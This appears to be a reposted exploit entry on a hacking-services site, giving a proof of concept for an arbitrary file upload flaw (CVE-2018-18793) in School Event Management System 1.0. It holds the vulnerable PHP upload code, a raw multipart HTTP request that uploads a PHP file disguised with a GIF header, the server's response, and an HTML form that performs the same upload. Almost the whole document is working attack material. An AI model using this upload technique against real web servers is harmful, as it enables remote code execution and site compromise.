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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: School Event Management System 1.0 - Arbitrary File Upload
# Dork: N/A
# Date: 2018-10-29
# Exploit Author: Ihsan Sencan
# Vendor Homepage: https://www.sourcecodester.com/users/janobe
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/sems_1.zip
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-18793

# POC: 
# 1)
# http://localhost/[PATH]/event/controller.php?action=photos
# 
GIFefe
<?php
.....
?>
# http://localhost/[PATH]/event/photo/[FILE]
# 
#[PATH]/event/controller.php
#....
#29	function doInsert(){
#30	if(isset($_POST['save'])){
#31  
#32 
#33	$errofile = $_FILES['image']['error'];
#34	$type = $_FILES['image']['type'];
#35	$temp = $_FILES['image']['tmp_name'];
#36	$myfile =$_FILES['image']['name'];
#37	$location="photo/".$myfile;
#38	
#39	@$file=$_FILES['image']['tmp_name'];
#40	@$image= addslashes(file_get_contents($_FILES['image']['tmp_name']));
#41	@$image_name= addslashes($_FILES['image']['name']); 
#42	@$image_size= getimagesize($_FILES['image']['tmp_name']);
#....
GET /[PATH]/event/controller.php?action=photos HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=mrht5eahsjgrpgldk6c455ncm3
Connection: keep-alive
Content-Type: multipart/form-data; boundary=
---------------------------3634372676911755021110261466
Content-Length: 617
-----------------------------3634372676911755021110261466
Content-Disposition: form-data; name="EventID"
1
-----------------------------3634372676911755021110261466
Content-Disposition: form-data; name="MAX_FILE_SIZE"
1000000
-----------------------------3634372676911755021110261466
Content-Disposition: form-data; name="photo"; filename="phpinfo_gif.php"
Content-Type: application/force-download
GIFefe
<?php
phpinfo();
?>
-----------------------------3634372676911755021110261466
Content-Disposition: form-data; name="savephoto"
-----------------------------3634372676911755021110261466--
HTTP/1.1 200 OK
Date: Sun, 28 Oct 2018 17:27:54 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 143
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

# POC: 
# 2)
<html>
<body>
<form action="http://localhost/[PATH]/event/controller.php?action=photos" enctype="multipart/form-data" method="post">
<input name="EventID" id="EventID" value="1" type="hidden">
<input name="MAX_FILE_SIZE" value="1000000" type="hidden"> 
<input id="photo" name="photo" type="file">
<button name="savephoto" type="submit">Upload Photo</button>
</form>
</body>
</html>